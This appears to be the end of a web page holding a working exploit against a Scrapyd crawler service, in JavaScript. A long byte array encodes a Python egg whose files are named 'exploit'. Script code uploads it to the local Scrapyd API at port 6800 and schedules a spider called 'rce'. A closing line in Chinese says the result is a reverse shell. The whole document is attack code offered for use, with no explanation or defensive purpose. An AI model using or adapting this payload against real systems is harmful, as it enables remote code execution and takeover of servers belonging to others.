153, 12, 50, 159, 42, 99, 203, 24, 220, 254, 241, 213, 30, 56, 121, 139, 249, 213, 172, 202, 40, 107, 142, 143, 84, 253, 3, 80, 75, 3, 4, 20, 0, 0, 0, 8, 0, 87, 5, 55, 79, 89, 178, 213, 86, 3, 1, 0, 0, 12, 2, 0, 0, 21, 0, 0, 0, 101, 120, 112, 108, 111, 105, 116, 47, 112, 105, 112, 101, 108, 105, 110, 101, 115, 46, 112, 121, 99, 173, 79, 193, 74, 3, 49, 16, 157, 236, 150, 98, 23, 69, 188, 250, 5, 123, 177, 139, 32, 197, 131, 136, 40, 94, 75, 217, 158, 44, 148, 224, 110, 166, 37, 146, 237, 134, 38, 11, 91, 16, 47, 250, 199, 254, 128, 51, 201, 214, 31, 208, 192, 188, 100, 50, 51, 239, 189, 73, 191, 207, 178, 195, 226, 99, 93, 195, 112, 82, 138, 7, 10, 119, 73, 160, 0, 16, 96, 35, 64, 9, 248, 2, 248, 4, 120, 89, 81, 146, 192, 50, 231, 62, 127, 78, 240, 220, 91, 211, 106, 191, 208, 22, 141, 222, 225, 47, 145, 160, 120, 100, 162, 11, 8, 44, 60, 8, 204, 178, 74, 160, 92, 230, 92, 174, 211, 65, 144, 147, 39, 238, 29, 17, 188, 11, 136, 229, 121, 206, 60, 81, 137, 11, 14, 205, 38, 60, 180, 199, 198, 143, 249, 199, 106, 133, 251, 216, 198, 224, 174, 9, 170, 78, 27, 85, 84, 74, 59, 63, 37, 71, 93, 127, 213, 223, 206, 228, 236, 166, 192, 237, 182, 192, 232, 182, 176, 131, 93, 55, 181, 7, 127, 74, 83, 118, 223, 214, 232, 156, 100, 238, 140, 169, 146, 176, 68, 84, 63, 33, 144, 114, 247, 218, 160, 148, 62, 11, 73, 211, 170, 206, 80, 90, 142, 142, 226, 127, 181, 81, 242, 232, 228, 40, 61, 22, 243, 156, 239, 176, 103, 91, 189, 97, 237, 75, 248, 47, 169, 176, 208, 93, 92, 225, 158, 37, 61, 115, 253, 0, 80, 75, 3, 4, 20, 0, 0, 0, 8, 0, 182, 182, 47, 79, 204, 214, 4, 97, 188, 4, 0, 0, 11, 12, 0, 0, 19, 0, 0, 0, 101, 120, 112, 108, 111, 105, 116, 47, 115, 101, 116, 116, 105, 110, 103, 115, 46, 112, 121, 173, 86, 91, 111, 163, 70, 20, 126, 231, 87, 140, 228, 7, 39, 187, 49, 118, 154, 110, 180, 117, 181, 15, 196, 76, 18, 84, 27, 92, 192, 74, 86, 213, 202, 26, 195, 56, 158, 118, 96, 88, 102, 88, 219, 170, 250, 223, 123, 134, 155, 137, 215, 169, 154, 180, 60, 193, 156, 57, 223, 185, 127, 156, 30, 26, 188, 27, 160, 72, 196, 44, 125, 26, 163, 66, 173, 7, 31, 245, 137, 97, 244, 80, 16, 229, 36, 219, 35, 73, 149, 2, 161, 68, 107, 145, 35, 186, 203, 184, 96, 10, 101, 185, 248, 157, 70, 202, 232, 193, 189, 91, 56, 151, 44, 201, 56, 139, 152, 218, 95, 32, 181, 97, 112, 153, 113, 10, 176, 169, 34, 44, 149, 72, 164, 188, 3, 4, 199, 146, 197, 52, 167, 49, 2, 53, 145, 43, 146, 42, 36, 114, 128, 138, 68, 146, 148, 119, 11, 73, 99, 19, 125, 22, 5, 138, 72, 10, 96, 105, 140, 18, 145, 211, 231, 24, 5, 215, 239, 96, 143, 162, 88, 68, 69, 66, 193, 154, 98, 34, 29, 151, 110, 233, 103, 163, 84, 38, 199, 195, 33, 136, 77, 89, 134, 99, 138, 252, 105, 72, 211, 33, 39, 138, 74, 53, 84, 34, 99, 145, 28, 54, 176, 230, 70, 37, 252, 149, 186, 177, 216, 166, 92, 16, 136, 103, 144, 176, 56, 230, 116, 75, 114, 250, 22, 32, 153, 177, 83, 32, 198, 141, 23, 46, 93, 107, 134, 209, 39, 212, 175, 243, 223, 55, 140, 96, 238, 216, 216, 95, 206, 60, 123, 49, 197, 1, 200, 126, 107, 132, 102, 5, 36, 251, 95, 12, 23, 63, 60, 187, 215, 129, 104, 111, 25, 186, 214, 147, 156, 108, 57, 202, 169, 204, 116, 109, 86, 80, 129, 213, 30, 129, 60, 85, 108, 189, 215, 73, 222, 139, 34, 151, 148, 175, 209, 25, 129, 90, 232, 47, 180, 165, 43, 201, 20, 61, 135, 234, 150, 53, 128, 154, 229, 3, 242, 4, 58, 70, 111, 17, 128, 77, 235, 14, 187, 97, 199, 36, 58, 123, 175, 115, 1, 169, 216, 110, 183, 166, 198, 136, 69, 2, 253, 97, 66, 217, 207, 251, 218, 13, 111, 69, 247, 40, 23, 43, 161, 164, 169, 118, 10, 229, 5, 167, 210, 240, 61, 72, 65, 16, 62, 134, 75, 239, 6, 127, 6, 192, 48, 47, 104, 233, 181, 72, 215, 236, 169, 128, 190, 72, 200, 142, 37, 69, 162, 219, 34, 42, 242, 28, 124, 128, 96, 190, 22, 144, 93, 137, 50, 154, 67, 235, 38, 208, 109, 16, 83, 221, 212, 103, 49, 93, 19, 232, 159, 49, 186, 188, 62, 55, 122, 19, 207, 157, 44, 124, 31, 220, 93, 250, 248, 215, 5, 14, 66, 157, 209, 171, 31, 158, 27, 33, 40, 166, 156, 236, 203, 65, 104, 209, 245, 135, 142, 94, 146, 132, 54, 41, 233, 192, 143, 206, 245, 36, 81, 250, 182, 86, 236, 53, 205, 53, 40, 45, 215, 80, 132, 75, 129, 72, 161, 132, 218, 228, 66, 41, 222, 25, 11, 93, 28, 176, 32, 141, 158, 237, 61, 184, 83, 207, 178, 151, 54, 158, 90, 58, 105, 87, 160, 29, 150, 163, 82, 65, 214, 193, 212, 170, 104, 203, 56, 71, 27, 145, 66, 56, 229, 4, 138, 148, 34, 177, 30, 159, 204, 205, 114, 14, 213, 181, 189, 153, 229, 184, 0, 124, 121, 253, 242, 37, 103, 94, 93, 0, 219, 54, 147, 100, 85, 146, 130, 248, 131, 81, 137, 206, 104, 170, 191, 203, 170, 212, 233, 42, 43, 225, 253, 226, 224, 96, 137, 93, 235, 102, 138, 109, 208, 190, 133, 112, 105, 23, 32, 164, 60, 165, 74, 215, 69, 10, 248, 60, 141, 19, 226, 169, 139, 67, 112, 43, 240, 166, 248, 20, 154, 247, 141, 230, 57, 116, 120, 69, 31, 149, 94, 83, 85, 180, 161, 122, 158, 37, 68, 111, 227, 91, 107, 49, 109, 163, 90, 222, 99, 11, 198, 73, 119, 199, 159, 229, 120, 247, 173, 40, 162, 153, 234, 143, 81, 95, 209, 157, 26, 234, 170, 93, 144, 76, 147, 97, 201, 69, 195, 157, 62, 121, 191, 59, 62, 77, 248, 207, 95, 63, 141, 204, 159, 46, 222, 13, 223, 149, 111, 31, 251, 23, 93, 192, 193, 148, 164, 79, 5, 76, 147, 70, 166, 169, 22, 254, 165, 221, 198, 101, 176, 192, 150, 40, 174, 211, 81, 205, 49, 58, 208, 134, 124, 109, 199, 157, 230, 157, 94, 195, 28, 142, 109, 79, 241, 131, 229, 227, 67, 212, 7, 22, 233, 152, 53, 113, 117, 22, 148, 120, 179, 86, 0, 17, 124, 248, 241, 234, 229, 0, 14, 4, 250, 31, 130, 248, 39, 22, 110, 70, 225, 45, 193, 216, 45, 238, 191, 15, 8, 250, 128, 2, 139, 66, 127, 190, 50, 136, 131, 98, 237, 57, 126, 12, 177, 27, 56, 208, 197, 29, 111, 107, 132, 206, 101, 85, 78, 132, 89, 13, 70, 61, 23, 224, 164, 11, 51, 220, 120, 121, 96, 49, 224, 167, 4, 101, 44, 163, 156, 165, 175, 78, 179, 86, 30, 52, 202, 181, 147, 78, 136, 103, 203, 185, 51, 199, 83, 199, 61, 153, 214, 214, 88, 147, 212, 121, 125, 0, 62, 94, 141, 70, 71, 137, 212, 20, 22, 181, 222, 234, 233, 180, 128, 234, 194, 134, 234, 218, 176, 129, 100, 171, 124, 31, 77, 254, 171, 226, 233, 178, 104, 29, 142, 181, 8, 189, 240, 222, 247, 194, 240, 25, 113, 148, 255, 156, 138, 65, 89, 202, 20, 35, 252, 136, 73, 143, 52, 131, 208, 242, 195, 150, 124, 63, 212, 170, 205, 127, 234, 136, 132, 149, 64, 171, 146, 197, 1, 27, 54, 30, 169, 169, 23, 109, 216, 211, 6, 105, 119, 211, 136, 233, 66, 61, 131, 159, 89, 143, 45, 248, 245, 168, 70, 39, 192, 105, 64, 25, 40, 45, 146, 21, 76, 19, 96, 180, 191, 169, 102, 153, 219, 136, 130, 199, 149, 177, 84, 239, 124, 218, 96, 70, 114, 194, 57, 229, 224, 6, 0, 81, 18, 109, 64, 47, 17, 74, 95, 202, 1, 242, 200, 52, 4, 118, 135, 195, 101, 75, 249, 19, 237, 195, 165, 57, 58, 148, 16, 172, 108, 171, 205, 172, 204, 172, 126, 149, 176, 154, 213, 43, 36, 32, 238, 155, 85, 131, 194, 75, 68, 217, 55, 26, 143, 143, 172, 216, 248, 102, 113, 215, 37, 236, 147, 237, 113, 31, 134, 115, 72, 88, 180, 209, 54, 254, 143, 134, 120, 153, 71, 122, 26, 66, 155, 162, 29, 201, 160, 249, 243, 26, 61, 237, 202, 196, 154, 220, 127, 223, 52, 29, 201, 227, 220, 241, 173, 16, 6, 122, 25, 224, 137, 158, 149, 81, 87, 108, 59, 190, 94, 151, 90, 67, 253, 174, 208, 185, 115, 61, 31, 47, 245, 1, 228, 222, 174, 118, 190, 47, 221, 27, 65, 232, 249, 176, 115, 105, 136, 239, 57, 162, 5, 53, 111, 97, 53, 151, 123, 9, 147, 60, 209, 223, 129, 18, 186, 105, 250, 198, 223, 80, 75, 3, 4, 20, 0, 0, 0, 8, 0, 87, 5, 55, 79, 204, 14, 247, 167, 212, 0, 0, 0, 25, 1, 0, 0, 20, 0, 0, 0, 101, 120, 112, 108, 111, 105, 116, 47, 115, 101, 116, 116, 105, 110, 103, 115, 46, 112, 121, 99, 85, 142, 221, 10, 130, 64, 16, 133, 103, 181, 236, 135, 254, 222, 160, 91, 111, 210, 46, 34, 186, 136, 168, 104, 47, 130, 210, 72, 163, 18, 66, 168, 93, 100, 193, 74, 218, 21, 244, 166, 151, 238, 5, 26, 35, 136, 6, 230, 99, 230, 48, 103, 56, 250, 171, 89, 207, 55, 207, 211, 5, 190, 69, 176, 167, 216, 178, 139, 96, 0, 1, 146, 64, 68, 32, 32, 197, 16, 104, 192, 117, 8, 74, 192, 52, 240, 76, 29, 111, 84, 5, 193, 179, 36, 190, 11, 37, 219, 191, 217, 146, 137, 96, 252, 33, 29, 179, 92, 92, 85, 17, 115, 215, 15, 157, 217, 154, 170, 22, 46, 222, 102, 185, 160, 219, 112, 237, 46, 118, 43, 234, 169, 14, 74, 14, 221, 255, 169, 170, 132, 162, 255, 72, 249, 199, 176, 117, 209, 239, 249, 7, 63, 116, 231, 244, 104, 22, 97, 127, 144, 125, 196, 57, 21, 49, 179, 207, 76, 72, 101, 197, 226, 150, 102, 189, 108, 52, 12, 135, 3, 155, 71, 145, 253, 141, 101, 75, 174, 148, 184, 69, 210, 74, 242, 79, 168, 241, 245, 206, 210, 152, 79, 26, 197, 23, 3, 97, 104, 53, 98, 84, 222, 80, 75, 3, 4, 20, 0, 0, 0, 8, 0, 232, 140, 120, 76, 61, 139, 130, 249, 118, 0, 0, 0, 161, 0, 0, 0, 27, 0, 0, 0, 101, 120, 112, 108, 111, 105, 116, 47, 115, 112, 105, 100, 101, 114, 115, 47, 95, 95, 105, 110, 105, 116, 95, 95, 46, 112, 121, 45, 78, 91, 10, 3, 33, 16, 251, 247, 20, 1, 255, 123, 150, 66, 123, 129, 65, 199, 58, 91, 117, 100, 116, 89, 246, 246, 181, 219, 66, 8, 4, 242, 242, 120, 102, 25, 232, 20, 222, 244, 98, 28, 82, 10, 130, 182, 73, 210, 48, 51, 99, 116, 137, 108, 3, 154, 112, 234, 110, 120, 4, 163, 126, 162, 155, 110, 28, 166, 243, 206, 227, 94, 152, 6, 195, 56, 177, 97, 234, 21, 139, 26, 246, 202, 171, 102, 138, 54, 36, 53, 72, 91, 92, 127, 122, 33, 235, 241, 245, 6, 99, 154, 12, 106, 17, 149, 218, 122, 176, 250, 174, 157, 255, 238, 205, 125, 0, 80, 75, 3, 4, 20, 0, 0, 0, 8, 0, 87, 5, 55, 79, 94, 150, 186, 40, 112, 0, 0, 0, 143, 0, 0, 0, 28, 0, 0, 0, 101, 120, 112, 108, 111, 105, 116, 47, 115, 112, 105, 100, 101, 114, 115, 47, 95, 95, 105, 110, 105, 116, 95, 95, 46, 112, 121, 99, 99, 254, 204, 203, 117, 68, 102, 91, 84, 50, 3, 20, 48, 2, 177, 3, 16, 23, 179, 0, 137, 20, 6, 134, 96, 13, 144, 136, 159, 6, 72, 14, 141, 40, 182, 0, 18, 73, 165, 153, 57, 41, 250, 73, 41, 153, 197, 37, 122, 57, 153, 121, 165, 21, 186, 21, 22, 102, 241, 102, 38, 250, 169, 233, 233, 250, 169, 21, 5, 57, 249, 153, 37, 250, 197, 5, 153, 41, 169, 69, 197, 250, 241, 241, 153, 121, 153, 37, 241, 241, 122, 5, 149, 37, 28, 64, 205, 54, 185, 249, 41, 165, 57, 169, 118, 32, 43, 74, 64, 70, 2, 0, 80, 75, 1, 2, 20, 3, 20, 0, 0, 0, 8, 0, 87, 5, 55, 79, 18, 46, 120, 27, 113, 0, 0, 0, 179, 0, 0, 0, 17, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 129, 0, 0, 0, 0, 69, 71, 71, 45, 73, 78, 70, 79, 47, 80, 75, 71, 45, 73, 78, 70, 79, 80, 75, 1, 2, 20, 3, 20, 0, 0, 0, 8, 0, 87, 5, 55, 79, 32, 77, 68, 27, 141, 0, 0, 0, 54, 1, 0, 0, 20, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 129, 160, 0, 0, 0, 69, 71, 71, 45, 73, 78, 70, 79, 47, 83, 79, 85, 82, 67, 69, 83, 46, 116, 120, 116, 80, 75, 1, 2, 20, 3, 20, 0, 0, 0, 8, 0, 87, 5, 55, 79, 147, 6, 215, 50, 3, 0, 0, 0, 1, 0, 0, 0, 29, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 129, 95, 1, 0, 0, 69, 71, 71, 45, 73, 78, 70, 79, 47, 100, 101, 112, 101, 110, 100, 101, 110, 99, 121, 95, 108, 105, 110, 107, 115, 46, 116, 120, 116, 80, 75, 1, 2, 20, 3, 20, 0, 0, 0, 8, 0, 87, 5, 55, 79, 154, 51, 66, 181, 34, 0, 0, 0, 38, 0, 0, 0, 25, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 129, 157, 1, 0, 0, 69, 71, 71, 45, 73, 78, 70, 79, 47, 101, 110, 116, 114, 121, 95, 112, 111, 105, 110, 116, 115, 46, 116, 120, 116, 80, 75, 1, 2, 20, 3, 20, 0, 0, 0, 8, 0, 87, 5, 55, 79, 97, 58, 139, 250, 10, 0, 0, 0, 8, 0, 0, 0, 22, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 129, 246, 1, 0, 0, 69, 71, 71, 45, 73, 78, 70, 79, 47, 116, 111, 112, 95, 108, 101, 118, 101, 108, 46, 116, 120, 116, 80, 75, 1, 2, 20, 3, 20, 0, 0, 0, 8, 0, 87, 5, 55, 79, 147, 6, 215, 50, 3, 0, 0, 0, 1, 0, 0, 0, 17, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 129, 52, 2, 0, 0, 69, 71, 71, 45, 73, 78, 70, 79, 47, 122, 105, 112, 45, 115, 97, 102, 101, 80, 75, 1, 2, 20, 3, 20, 0, 0, 0, 8, 0, 232, 140, 120, 76, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 19, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 129, 102, 2, 0, 0, 101, 120, 112, 108, 111, 105, 116, 47, 95, 95, 105, 110, 105, 116, 95, 95, 46, 112, 121, 80, 75, 1, 2, 20, 3, 20, 0, 0, 0, 8, 0, 87, 5, 55, 79, 28, 45, 9, 130, 104, 0, 0, 0, 135, 0, 0, 0, 20, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 129, 153, 2, 0, 0, 101, 120, 112, 108, 111, 105, 116, 47, 95, 95, 105, 110, 105, 116, 95, 95, 46, 112, 121, 99, 80, 75, 1, 2, 20, 3, 20, 0, 0, 0, 8, 0, 55, 5, 55, 79, 170, 8, 173, 153, 215, 0, 0, 0, 73, 1, 0, 0, 14, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 129, 51, 3, 0, 0, 101, 120, 112, 108, 111, 105, 116, 47, 101, 120, 112, 46, 112, 121, 80, 75, 1, 2, 20, 3, 20, 0, 0, 0, 8, 0, 87, 5, 55, 79, 132, 144, 181, 117, 220, 1, 0, 0, 151, 3, 0, 0, 15, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 129, 54, 4, 0, 0, 101, 120, 112, 108, 111, 105, 116, 47, 101, 120, 112, 46, 112, 121, 99, 80, 75, 1, 2, 20, 3, 20, 0, 0, 0, 8, 0, 182, 182, 47, 79, 103, 141, 159, 184, 192, 0, 0, 0, 31, 1, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 129, 63, 6, 0, 0, 101, 120, 112, 108, 111, 105, 116, 47, 105, 116, 101, 109, 115, 46, 112, 121, 80, 75, 1, 2, 20, 3, 20, 0, 0, 0, 8, 0, 87, 5, 55, 79, 118, 120, 207, 48, 214, 0, 0, 0, 110, 1, 0, 0, 17, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 129, 45, 7, 0, 0, 101, 120, 112, 108, 111, 105, 116, 47, 105, 116, 101, 109, 115, 46, 112, 121, 99, 80, 75, 1, 2, 20, 3, 20, 0, 0, 0, 8, 0, 182, 182, 47, 79, 176, 50, 232, 220, 198, 3, 0, 0, 15, 14, 0, 0, 22, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 129, 50, 8, 0, 0, 101, 120, 112, 108, 111, 105, 116, 47, 109, 105, 100, 100, 108, 101, 119, 97, 114, 101, 115, 46, 112, 121, 80, 75, 1, 2, 20, 3, 20, 0, 0, 0, 8, 0, 87, 5, 55, 79, 205, 57, 239, 157, 103, 3, 0, 0, 109, 11, 0, 0, 23, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 129, 44, 12, 0, 0, 101, 120, 112, 108, 111, 105, 116, 47, 109, 105, 100, 100, 108, 101, 119, 97, 114, 101, 115, 46, 112, 121, 99, 80, 75, 1, 2, 20, 3, 20, 0, 0, 0, 8, 0, 182, 182, 47, 79, 103, 153, 64, 181, 204, 0, 0, 0, 32, 1, 0, 0, 20, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 129, 200, 15, 0, 0, 101, 120, 112, 108, 111, 105, 116, 47, 112, 105, 112, 101, 108, 105, 110, 101, 115, 46, 112, 121, 80, 75, 1, 2, 20, 3, 20, 0, 0, 0, 8, 0, 87, 5, 55, 79, 89, 178, 213, 86, 3, 1, 0, 0, 12, 2, 0, 0, 21, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 129, 198, 16, 0, 0, 101, 120, 112, 108, 111, 105, 116, 47, 112, 105, 112, 101, 108, 105, 110, 101, 115, 46, 112, 121, 99, 80, 75, 1, 2, 20, 3, 20, 0, 0, 0, 8, 0, 182, 182, 47, 79, 204, 214, 4, 97, 188, 4, 0, 0, 11, 12, 0, 0, 19, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 129, 252, 17, 0, 0, 101, 120, 112, 108, 111, 105, 116, 47, 115, 101, 116, 116, 105, 110, 103, 115, 46, 112, 121, 80, 75, 1, 2, 20, 3, 20, 0, 0, 0, 8, 0, 87, 5, 55, 79, 204, 14, 247, 167, 212, 0, 0, 0, 25, 1, 0, 0, 20, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 129, 233, 22, 0, 0, 101, 120, 112, 108, 111, 105, 116, 47, 115, 101, 116, 116, 105, 110, 103, 115, 46, 112, 121, 99, 80, 75, 1, 2, 20, 3, 20, 0, 0, 0, 8, 0, 232, 140, 120, 76, 61, 139, 130, 249, 118, 0, 0, 0, 161, 0, 0, 0, 27, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 129, 239, 23, 0, 0, 101, 120, 112, 108, 111, 105, 116, 47, 115, 112, 105, 100, 101, 114, 115, 47, 95, 95, 105, 110, 105, 116, 95, 95, 46, 112, 121, 80, 75, 1, 2, 20, 3, 20, 0, 0, 0, 8, 0, 87, 5, 55, 79, 94, 150, 186, 40, 112, 0, 0, 0, 143, 0, 0, 0, 28, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 129, 158, 24, 0, 0, 101, 120, 112, 108, 111, 105, 116, 47, 115, 112, 105, 100, 101, 114, 115, 47, 95, 95, 105, 110, 105, 116, 95, 95, 46, 112, 121, 99, 80, 75, 5, 6, 0, 0, 0, 0, 20, 0, 20, 0, 51, 5, 0, 0, 72, 25, 0, 0, 0, 0];
var _blob = new Blob([new Uint8Array(array)]);
var dataHead = new FormData();
dataHead.append('egg', _blob);
dataHead.append('project', 'ch');
dataHead.append('version', 'cc');
// Upload Egg
$.ajax({
url: "http://127.0.0.1:6800/addversion.json",
data: dataHead,
type: "POST",
dataType : 'json',
async:false,
processData: false,
contentType: false,
enctype: 'multipart/form-data',
success: function(data) {
},
error: function(data, status, e) {
}
});
// schedule
setTimeout(function(){
$.ajax({
url: "http://127.0.0.1:6800/schedule.json",
data: {
"project":"ch",
"spider":"rce"
},
type: "POST",
dataType : 'json',
async:false,
contentType: "application/x-www-form-urlencoded",
success: function(data) {
},
error: function(data, status, e) {
}
});
}, 2000);
</script>
</body>
</html>
反弹回shell
